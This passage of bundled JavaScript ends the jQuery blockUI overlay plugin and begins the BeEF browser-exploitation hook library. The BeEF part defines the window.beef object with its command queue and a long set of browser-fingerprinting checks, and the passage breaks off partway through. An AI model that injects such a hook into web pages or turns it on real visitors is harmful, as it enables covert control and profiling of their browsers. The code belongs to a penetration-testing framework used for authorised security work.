2353 s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
2354 }
2355 s += '<div class="ui-widget-content ui-dialog-content"></div>';
2356 s += '</div>';
2357 }
2358 else if (full) {
2359 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
2360 }
2361 else {
2362 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
2363 }
2364 lyr3 = $(s);
2365
2366 // if we have a message, style it
2367 if (msg) {
2368 if (opts.theme) {
2369 lyr3.css(themedCSS);
2370 lyr3.addClass('ui-widget-content');
2371 }
2372 else
2373 lyr3.css(css);
2374 }
2375
2376 // style the overlay
2377 if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
2378 lyr2.css(opts.overlayCSS);
2379 lyr2.css('position', full ? 'fixed' : 'absolute');
2380
2381 // make iframe layer transparent in IE
2382 if (msie || opts.forceIframe)
2383 lyr1.css('opacity',0.0);
2384
2385 //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
2386 var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
2387 $.each(layers, function() {
2388 this.appendTo($par);
2389 });
2390
2391 if (opts.theme && opts.draggable && $.fn.draggable) {
2392 lyr3.draggable({
2393 handle: '.ui-dialog-titlebar',
2394 cancel: 'li'
2395 });
2396 }
2397
2398 // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
2399 var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
2400 if (ie6 || expr) {
2401 // give body 100% height
2402 if (full && opts.allowBodyStretch && $.support.boxModel)
2403 $('html,body').css('height','100%');
2404
2405 // fix ie6 issue when blocked element has a border width
2406 if ((ie6 || !$.support.boxModel) && !full) {
2407 var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
2408 var fixT = t ? '(0 - '+t+')' : 0;
2409 var fixL = l ? '(0 - '+l+')' : 0;
2410 }
2411
2412 // simulate fixed position
2413 $.each(layers, function(i,o) {
2414 var s = o[0].style;
2415 s.position = 'absolute';
2416 if (i < 2) {
2417 if (full)
2418 s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
2419 else
2420 s.setExpression('height','this.parentNode.offsetHeight + "px"');
2421 if (full)
2422 s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
2423 else
2424 s.setExpression('width','this.parentNode.offsetWidth + "px"');
2425 if (fixL) s.setExpression('left', fixL);
2426 if (fixT) s.setExpression('top', fixT);
2427 }
2428 else if (opts.centerY) {
2429 if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
2430 s.marginTop = 0;
2431 }
2432 else if (!opts.centerY && full) {
2433 var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
2434 var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
2435 s.setExpression('top',expression);
2436 }
2437 });
2438 }
2439
2440 // show the message
2441 if (msg) {
2442 if (opts.theme)
2443 lyr3.find('.ui-widget-content').append(msg);
2444 else
2445 lyr3.append(msg);
2446 if (msg.jquery || msg.nodeType)
2447 $(msg).show();
2448 }
2449
2450 if ((msie || opts.forceIframe) && opts.showOverlay)
2451 lyr1.show(); // opacity is zero
2452 if (opts.fadeIn) {
2453 var cb = opts.onBlock ? opts.onBlock : noOp;
2454 var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
2455 var cb2 = msg ? cb : noOp;
2456 if (opts.showOverlay)
2457 lyr2._fadeIn(opts.fadeIn, cb1);
2458 if (msg)
2459 lyr3._fadeIn(opts.fadeIn, cb2);
2460 }
2461 else {
2462 if (opts.showOverlay)
2463 lyr2.show();
2464 if (msg)
2465 lyr3.show();
2466 if (opts.onBlock)
2467 opts.onBlock.bind(lyr3)();
2468 }
2469
2470 // bind key and mouse events
2471 bind(1, el, opts);
2472
2473 if (full) {
2474 pageBlock = lyr3[0];
2475 pageBlockEls = $(opts.focusableElements,pageBlock);
2476 if (opts.focusInput)
2477 setTimeout(focus, 20);
2478 }
2479 else
2480 center(lyr3[0], opts.centerX, opts.centerY);
2481
2482 if (opts.timeout) {
2483 // auto-unblock
2484 var to = setTimeout(function() {
2485 if (full)
2486 $.unblockUI(opts);
2487 else
2488 $(el).unblock(opts);
2489 }, opts.timeout);
2490 $(el).data('blockUI.timeout', to);
2491 }
2492 }
2493
2494 // remove the block
2495 function remove(el, opts) {
2496 var count;
2497 var full = (el == window);
2498 var $el = $(el);
2499 var data = $el.data('blockUI.history');
2500 var to = $el.data('blockUI.timeout');
2501 if (to) {
2502 clearTimeout(to);
2503 $el.removeData('blockUI.timeout');
2504 }
2505 opts = $.extend({}, $.blockUI.defaults, opts || {});
2506 bind(0, el, opts); // unbind events
2507
2508 if (opts.onUnblock === null) {
2509 opts.onUnblock = $el.data('blockUI.onUnblock');
2510 $el.removeData('blockUI.onUnblock');
2511 }
2512
2513 var els;
2514 if (full) // crazy selector to handle odd field errors in ie6/7
2515 els = $('body').children().filter('.blockUI').add('body > .blockUI');
2516 else
2517 els = $el.find('>.blockUI');
2518
2519 // fix cursor issue
2520 if ( opts.cursorReset ) {
2521 if ( els.length > 1 )
2522 els[1].style.cursor = opts.cursorReset;
2523 if ( els.length > 2 )
2524 els[2].style.cursor = opts.cursorReset;
2525 }
2526
2527 if (full)
2528 pageBlock = pageBlockEls = null;
2529
2530 if (opts.fadeOut) {
2531 count = els.length;
2532 els.stop().fadeOut(opts.fadeOut, function() {
2533 if ( --count === 0)
2534 reset(els,data,opts,el);
2535 });
2536 }
2537 else
2538 reset(els, data, opts, el);
2539 }
2540
2541 // move blocking element back into the DOM where it started
2542 function reset(els,data,opts,el) {
2543 var $el = $(el);
2544 if ( $el.data('blockUI.isBlocked') )
2545 return;
2546
2547 els.each(function(i,o) {
2548 // remove via DOM calls so we don't lose event handlers
2549 if (this.parentNode)
2550 this.parentNode.removeChild(this);
2551 });
2552
2553 if (data && data.el) {
2554 data.el.style.display = data.display;
2555 data.el.style.position = data.position;
2556 data.el.style.cursor = 'default'; // #59
2557 if (data.parent)
2558 data.parent.appendChild(data.el);
2559 $el.removeData('blockUI.history');
2560 }
2561
2562 if ($el.data('blockUI.static')) {
2563 $el.css('position', 'static'); // #22
2564 }
2565
2566 if (typeof opts.onUnblock == 'function')
2567 opts.onUnblock(el,opts);
2568
2569 // fix issue in Safari 6 where block artifacts remain until reflow
2570 var body = $(document.body), w = body.width(), cssW = body[0].style.width;
2571 body.width(w-1).width(w);
2572 body[0].style.width = cssW;
2573 }
2574
2575 // bind/unbind the handler
2576 function bind(b, el, opts) {
2577 var full = el == window, $el = $(el);
2578
2579 // don't bother unbinding if there is nothing to unbind
2580 if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
2581 return;
2582
2583 $el.data('blockUI.isBlocked', b);
2584
2585 // don't bind events when overlay is not in use or if bindEvents is false
2586 if (!full || !opts.bindEvents || (b && !opts.showOverlay))
2587 return;
2588
2589 // bind anchors and inputs for mouse and key events
2590 var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
2591 if (b)
2592 $(document).bind(events, opts, handler);
2593 else
2594 $(document).unbind(events, handler);
2595
2596 // former impl...
2597 // var $e = $('a,:input');
2598 // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
2599 }
2600
2601 // event handler to suppress keyboard/mouse events when blocking
2602 function handler(e) {
2603 // allow tab navigation (conditionally)
2604 if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
2605 if (pageBlock && e.data.constrainTabKey) {
2606 var els = pageBlockEls;
2607 var fwd = !e.shiftKey && e.target === els[els.length-1];
2608 var back = e.shiftKey && e.target === els[0];
2609 if (fwd || back) {
2610 setTimeout(function(){focus(back);},10);
2611 return false;
2612 }
2613 }
2614 }
2615 var opts = e.data;
2616 var target = $(e.target);
2617 if (target.hasClass('blockOverlay') && opts.onOverlayClick)
2618 opts.onOverlayClick(e);
2619
2620 // allow events within the message content
2621 if (target.parents('div.' + opts.blockMsgClass).length > 0)
2622 return true;
2623
2624 // allow events for content that is not being blocked
2625 return target.parents().children().filter('div.blockUI').length === 0;
2626 }
2627
2628 function focus(back) {
2629 if (!pageBlockEls)
2630 return;
2631 var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
2632 if (e)
2633 e.focus();
2634 }
2635
2636 function center(el, x, y) {
2637 var p = el.parentNode, s = el.style;
2638 var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
2639 var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
2640 if (x) s.left = l > 0 ? (l+'px') : '0';
2641 if (y) s.top = t > 0 ? (t+'px') : '0';
2642 }
2643
2644 function sz(el, p) {
2645 return parseInt($.css(el,p),10)||0;
2646 }
2647
2648 }
2649
2650
2651 /*global define:true */
2652 if (typeof define === 'function' && define.amd && define.amd.jQuery) {
2653 define(['jquery'], setup);
2654 } else {
2655 setup(jQuery);
2656 }
2657
2658})();
2659
2660
2661//
2662// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
2663// Browser Exploitation Framework (BeEF) - http://beefproject.com
2664// See the file 'doc/COPYING' for copying permission
2665//
2666
2667/*!
2668 * BeEF JS Library 0.4.7.0-alpha
2669 * Register the BeEF JS on the window object.
2670 */
2671
2672$j = jQuery.noConflict();
2673
2674if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
2675
2676 var BeefJS = {
2677
2678 version: '0.4.7.0-alpha',
2679
2680 // This get set to true during window.onload(). It's a useful hack when messing with document.write().
2681 pageIsLoaded: false,
2682
2683 // An array containing functions to be executed by the window.onpopstate() method.
2684 onpopstate: new Array(),
2685
2686 // An array containing functions to be executed by the window.onclose() method.
2687 onclose: new Array(),
2688
2689 // An array containing functions to be executed by Beef.
2690 commands: new Array(),
2691
2692 // An array containing all the BeEF JS components.
2693 components: new Array(),
2694
2695 /**
2696 * Adds a function to display debug messages (wraps console.log())
2697 * @param: {string} the debug string to return
2698 */
2699 debug: function(msg) {
2700 if (!false) return;
2701 if (typeof console == "object" && typeof console.log == "function") {
2702 var currentdate = new Date();
2703 var pad = function(n){return ("0" + n).slice(-2);}
2704 var datetime = currentdate.getFullYear() + "-"
2705 + pad(currentdate.getMonth()+1) + "-"
2706 + pad(currentdate.getDate()) + " "
2707 + pad(currentdate.getHours()) + ":"
2708 + pad(currentdate.getMinutes()) + ":"
2709 + pad(currentdate.getSeconds());
2710 console.log('['+datetime+'] '+msg);
2711 } else {
2712 // TODO: maybe add a callback to BeEF server for debugging purposes
2713 //window.alert(msg);
2714 }
2715 },
2716
2717 /**
2718 * Adds a function to execute.
2719 * @param: {Function} the function to execute.
2720 */
2721 execute: function(fn) {
2722 if ( typeof beef.websocket == "undefined"){
2723 this.commands.push(fn);
2724 }else{
2725 fn();
2726 }
2727 },
2728
2729 /**
2730 * Registers a component in BeEF JS.
2731 * @params: {String} the component.
2732 *
2733 * Components are very important to register so the framework does not
2734 * send them back over and over again.
2735 */
2736 regCmp: function(component) {
2737 this.components.push(component);
2738 }
2739
2740 };
2741
2742 window.beef = BeefJS;
2743}
2744
2745
2746//
2747// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
2748// Browser Exploitation Framework (BeEF) - http://beefproject.com
2749// See the file 'doc/COPYING' for copying permission
2750//
2751
2752/**
2753 * @literal object: beef.browser
2754 *
2755 * Basic browser functions.
2756 */
2757beef.browser = {
2758
2759 /**
2760 * Returns the user agent that the browser is claiming to be.
2761 * @example: beef.browser.getBrowserReportedName()
2762 */
2763 getBrowserReportedName: function () {
2764 return navigator.userAgent;
2765 },
2766
2767 /**
2768 * Returns true if Avant Browser.
2769 * @example: beef.browser.isA()
2770 */
2771 isA: function () {
2772 return window.navigator.userAgent.match(/Avant TriCore/) != null;
2773 },
2774
2775 /**
2776 * Returns true if Iceweasel.
2777 * @example: beef.browser.isIceweasel()
2778 */
2779 isIceweasel: function () {
2780 return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
2781 },
2782
2783 /**
2784 * Returns true if Midori.
2785 * @example: beef.browser.isMidori()
2786 */
2787 isMidori: function () {
2788 return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
2789 },
2790
2791 /**
2792 * Returns true if Odyssey
2793 * @example: beef.browser.isOdyssey()
2794 */
2795 isOdyssey: function () {
2796 return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
2797 },
2798
2799 /**
2800 * Returns true if Brave
2801 * @example: beef.browser.isBrave()
2802 */
2803 isBrave: function(){
2804 return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
2805 },
2806
2807 /**
2808 * Returns true if IE6.
2809 * @example: beef.browser.isIE6()
2810 */
2811 isIE6: function () {
2812 return !window.XMLHttpRequest && !window.globalStorage;
2813 },
2814
2815 /**
2816 * Returns true if IE7.
2817 * @example: beef.browser.isIE7()
2818 */
2819 isIE7: function () {
2820 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
2821 },
2822
2823 /**
2824 * Returns true if IE8.
2825 * @example: beef.browser.isIE8()
2826 */
2827 isIE8: function () {
2828 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
2829 },
2830
2831 /**
2832 * Returns true if IE9.
2833 * @example: beef.browser.isIE9()
2834 */
2835 isIE9: function () {
2836 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
2837 },
2838
2839 /**
2840 *
2841 * Returns true if IE10.
2842 * @example: beef.browser.isIE10()
2843 */
2844 isIE10: function () {
2845 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
2846 },
2847
2848 /**
2849 *
2850 * Returns true if IE11.
2851 * @example: beef.browser.isIE11()
2852 */
2853 isIE11: function () {
2854 return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
2855 },
2856
2857 /**
2858 * Returns true if IE.
2859 * @example: beef.browser.isIE()
2860 */
2861 isIE: function () {
2862 return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
2863 },
2864
2865 /**
2866 * Returns true if FF2.
2867 * @example: beef.browser.isFF2()
2868 */
2869 isFF2: function () {
2870 return !!window.globalStorage && !window.postMessage;
2871 },
2872
2873 /**
2874 * Returns true if FF3.
2875 * @example: beef.browser.isFF3()
2876 */
2877 isFF3: function () {
2878 return !!window.globalStorage && !!window.postMessage && !JSON.parse;
2879 },
2880
2881 /**
2882 * Returns true if FF3.5.
2883 * @example: beef.browser.isFF3_5()
2884 */
2885 isFF3_5: function () {
2886 return !!window.globalStorage && !!JSON.parse && !window.FileReader;
2887 },
2888
2889 /**
2890 * Returns true if FF3.6.
2891 * @example: beef.browser.isFF3_6()
2892 */
2893 isFF3_6: function () {
2894 return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
2895 },
2896
2897 /**
2898 * Returns true if FF4.
2899 * @example: beef.browser.isFF4()
2900 */
2901 isFF4: function () {
2902 return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
2903 },
2904
2905 /**
2906 * Returns true if FF5.
2907 * @example: beef.browser.isFF5()
2908 */
2909 isFF5: function () {
2910 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
2911 },
2912
2913 /**
2914 * Returns true if FF6.
2915 * @example: beef.browser.isFF6()
2916 */
2917 isFF6: function () {
2918 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
2919 },
2920
2921 /**
2922 * Returns true if FF7.
2923 * @example: beef.browser.isFF7()
2924 */
2925 isFF7: function () {
2926 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
2927 },
2928
2929 /**
2930 * Returns true if FF8.
2931 * @example: beef.browser.isFF8()
2932 */
2933 isFF8: function () {
2934 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
2935 },
2936
2937 /**
2938 * Returns true if FF9.
2939 * @example: beef.browser.isFF9()
2940 */
2941 isFF9: function () {
2942 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
2943 },
2944
2945 /**
2946 * Returns true if FF10.
2947 * @example: beef.browser.isFF10()
2948 */
2949 isFF10: function () {
2950 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
2951 },
2952
2953 /**
2954 * Returns true if FF11.
2955 * @example: beef.browser.isFF11()
2956 */
2957 isFF11: function () {
2958 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
2959 },
2960
2961 /**
2962 * Returns true if FF12
2963 * @example: beef.browser.isFF12()
2964 */
2965 isFF12: function () {
2966 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
2967 },
2968
2969 /**
2970 * Returns true if FF13
2971 * @example: beef.browser.isFF13()
2972 */
2973 isFF13: function () {
2974 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
2975 },
2976
2977 /**
2978 * Returns true if FF14
2979 * @example: beef.browser.isFF14()
2980 */
2981 isFF14: function () {
2982 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
2983 },
2984
2985 /**
2986 * Returns true if FF15
2987 * @example: beef.browser.isFF15()
2988 */
2989 isFF15: function () {
2990 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
2991 },
2992
2993 /**
2994 * Returns true if FF16
2995 * @example: beef.browser.isFF16()
2996 */
2997 isFF16: function () {
2998 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
2999 },
3000
3001 /**
3002 * Returns true if FF17
3003 * @example: beef.browser.isFF17()
3004 */
3005 isFF17: function () {
3006 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
3007 },
3008
3009 /**
3010 * Returns true if FF18
3011 * @example: beef.browser.isFF18()
3012 */
3013 isFF18: function () {
3014 return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
3015 },
3016
3017 /**
3018 * Returns true if FF19
3019 * @example: beef.browser.isFF19()
3020 */
3021 isFF19: function () {
3022 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
3023 },
3024
3025 /**
3026 * Returns true if FF20
3027 * @example: beef.browser.isFF20()
3028 */
3029 isFF20: function () {
3030 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
3031 },
3032
3033 /**
3034 * Returns true if FF21
3035 * @example: beef.browser.isFF21()
3036 */
3037 isFF21: function () {
3038 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
3039 },
3040
3041 /**
3042 * Returns true if FF22
3043 * @example: beef.browser.isFF22()
3044 */
3045 isFF22: function () {
3046 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
3047 },
3048
3049 /**
3050 * Returns true if FF23
3051 * @example: beef.browser.isFF23()
3052 */
3053 isFF23: function () {
3054 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
3055 },
3056
3057 /**
3058 * Returns true if FF24
3059 * @example: beef.browser.isFF24()
3060 */
3061 isFF24: function () {
3062 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
3063 },
3064
3065 /**
3066 * Returns true if FF25
3067 * @example: beef.browser.isFF25()
3068 */
3069 isFF25: function () {
3070 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
3071 },
3072
3073 /**
3074 * Returns true if FF26
3075 * @example: beef.browser.isFF26()
3076 */
3077 isFF26: function () {
3078 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
3079 },
3080
3081 /**
3082 * Returns true if FF27
3083 * @example: beef.browser.isFF27()
3084 */
3085 isFF27: function () {
3086 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
3087 },
3088
3089 /**
3090 * Returns true if FF28
3091 * @example: beef.browser.isFF28()
3092 */
3093 isFF28: function () {
3094 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
3095 },
3096
3097 /**
3098 * Returns true if FF29
3099 * @example: beef.browser.isFF29()
3100 */
3101 isFF29: function () {
3102 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
3103 },
3104
3105 /**
3106 * Returns true if FF30
3107 * @example: beef.browser.isFF30()
3108 */
3109 isFF30: function () {
3110 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
3111 },
3112
3113 /**
3114 * Returns true if FF31
3115 * @example: beef.browser.isFF31()
3116 */
3117 isFF31: function () {
3118 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
3119 },
3120
3121 /**
3122 * Returns true if FF32
3123 * @example: beef.browser.isFF32()
3124 */
3125 isFF32: function () {
3126 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
3127 },
3128
3129 /**
3130 * Returns true if FF33
3131 * @example: beef.browser.isFF33()
3132 */
3133 isFF33: function () {
3134 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
3135 },
3136
3137 /**
3138 * Returns true if FF34
3139 * @example: beef.browser.isFF34()
3140 */
3141 isFF34: function () {
3142 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
3143 },
3144
3145 /**
3146 * Returns true if FF35
3147 * @example: beef.browser.isFF35()
3148 */
3149 isFF35: function () {
3150 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
3151 },
3152
3153 /**
3154 * Returns true if FF36
3155 * @example: beef.browser.isFF36()
3156 */
3157 isFF36: function () {
3158 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
3159 },
3160
3161 /**
3162 * Returns true if FF37
3163 * @example: beef.browser.isFF37()
3164 */
3165 isFF37: function () {
3166 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
3167 },
3168
3169 /**
3170 * Returns true if FF38
3171 * @example: beef.browser.isFF38()
3172 */
3173 isFF38: function () {
3174 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
3175 },
3176
3177 /**
3178 * Returns true if FF39
3179 * @example: beef.browser.isFF39()
3180 */
3181 isFF39: function () {
3182 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
3183 },
3184
3185 /**
3186 * Returns true if FF40
3187 * @example: beef.browser.isFF40()
3188 */
3189 isFF40: function () {
3190 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
3191 },
3192
3193 /**
3194 * Returns true if FF41
3195 * @example: beef.browser.isFF41()
3196 */
3197 isFF41: function () {
3198 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
3199 },
3200
3201 /**
3202 * Returns true if FF42
3203 * @example: beef.browser.isFF42()
3204 */
3205 isFF42: function () {
3206 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
3207 },
3208
3209 /**
3210 * Returns true if FF43
3211 * @example: beef.browser.isFF43()
3212 */
3213 isFF43: function () {
3214 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
3215 },
3216
3217 /**
3218 * Returns true if FF44
3219 * @example: beef.browser.isFF44()
3220 */
3221 isFF44: function () {
